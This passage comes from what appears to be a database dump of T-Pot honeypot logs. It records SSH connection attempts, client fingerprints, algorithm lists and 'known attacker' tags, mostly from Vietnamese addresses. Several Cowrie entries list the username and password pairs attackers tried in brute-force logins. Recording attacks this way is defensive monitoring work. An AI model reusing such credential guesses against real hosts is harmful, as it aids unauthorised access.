"AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1201407238490076, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36030, "dest_port": 22, "timestamp": "2021-09-20T11:08:30.820877Z", "@timestamp": "2021-09-20T11:08:30.820Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24167	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:31.83788+03	2021-09-20 14:15:08.428499+03	{"_id": "qQbkAnwBvYTbRNuEqBHI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44598, "timestamp": "2021-09-20T11:08:31.837880", "@timestamp": "2021-09-20T11:08:31.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24168	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:08:32.062327+03	2021-09-20 14:15:08.429471+03	{"_id": "qgbkAnwBvYTbRNuEqBHL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44598, "dest_port": 22, "timestamp": "2021-09-20T11:08:32.062327", "@timestamp": "2021-09-20T11:08:32.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24169	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:31.756042+03	2021-09-20 14:15:08.431501+03	{"_id": "rAbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:44968 (192.168.176.2:22) [session: bed65fca6c40]", "session": "bed65fca6c40", "@version": "1", "protocol": "ssh", "src_port": 44968, "dest_port": 22, "timestamp": "2021-09-20T11:08:31.756042Z", "@timestamp": "2021-09-20T11:08:31.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24170	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:31.800266+03	2021-09-20 14:15:08.432501+03	{"_id": "rQbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:55996 (192.168.176.2:22) [session: 595bea6f2167]", "session": "595bea6f2167", "@version": "1", "protocol": "ssh", "src_port": 55996, "dest_port": 22, "timestamp": "2021-09-20T11:08:31.800266Z", "@timestamp": "2021-09-20T11:08:31.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24171	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:31.834128+03	2021-09-20 14:15:08.4345+03	{"_id": "rgbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:44598 (192.168.176.2:22) [session: 41cf1d4c365f]", "session": "41cf1d4c365f", "@version": "1", "protocol": "ssh", "src_port": 44598, "dest_port": 22, "timestamp": "2021-09-20T11:08:31.834128Z", "@timestamp": "2021-09-20T11:08:31.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24172	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:31.853096+03	2021-09-20 14:15:08.435503+03	{"_id": "rwbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:43756 (192.168.176.2:22) [session: 6dce4502b646]", "session": "6dce4502b646", "@version": "1", "protocol": "ssh", "src_port": 43756, "dest_port": 22, "timestamp": "2021-09-20T11:08:31.853096Z", "@timestamp": "2021-09-20T11:08:31.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24173	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:31.535798+03	2021-09-20 14:15:08.4375+03	{"_id": "xgbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [bitnami/bitnami] failed", "session": "20f4e4fe5785", "@version": "1", "password": "bitnami", "username": "bitnami", "timestamp": "2021-09-20T11:08:31.535798Z", "@timestamp": "2021-09-20T11:08:31.535Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24174	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:31.673793+03	2021-09-20 14:15:08.43947+03	{"_id": "xwbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [amy/12345] failed", "session": "209237faf1a6", "@version": "1", "password": "12345", "username": "amy", "timestamp": "2021-09-20T11:08:31.673793Z", "@timestamp": "2021-09-20T11:08:31.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24175	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:31.7588+03	2021-09-20 14:15:08.440497+03	{"_id": "yAbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bed65fca6c40", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:31.758800Z", "@timestamp": "2021-09-20T11:08:31.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24176	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:31.803052+03	2021-09-20 14:15:08.4415+03	{"_id": "yQbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "595bea6f2167", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:31.803052Z", "@timestamp": "2021-09-20T11:08:31.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24177	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:31.836364+03	2021-09-20 14:15:08.443499+03	{"_id": "ygbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "41cf1d4c365f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:31.836364Z", "@timestamp": "2021-09-20T11:08:31.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24178	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:31.856318+03	2021-09-20 14:15:08.444506+03	{"_id": "ywbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6dce4502b646", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:31.856318Z", "@timestamp": "2021-09-20T11:08:31.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24179	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:32.055583+03	2021-09-20 14:15:08.4465+03	{"_id": "zAbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [teste/12345Brazil] failed", "session": "1113f6e169c1", "@version": "1", "password": "12345Brazil", "username": "teste", "timestamp": "2021-09-20T11:08:32.055583Z", "@timestamp": "2021-09-20T11:08:32.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24180	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:32.062547+03	2021-09-20 14:15:08.4475+03	{"_id": "zQbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "41cf1d4c365f", "@version": "1", "timestamp": "2021-09-20T11:08:32.062547Z", "@timestamp": "2021-09-20T11:08:32.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24191	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:33.447525+03	2021-09-20 14:15:08.463504+03	{"_id": "BQbkAnwBvYTbRNuEsRJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c12798484fe7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:33.447525Z", "@timestamp": "2021-09-20T11:08:33.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24181	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:32.133722+03	2021-09-20 14:15:08.4485+03	{"_id": "zgbkAnwBvYTbRNuEqRFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], 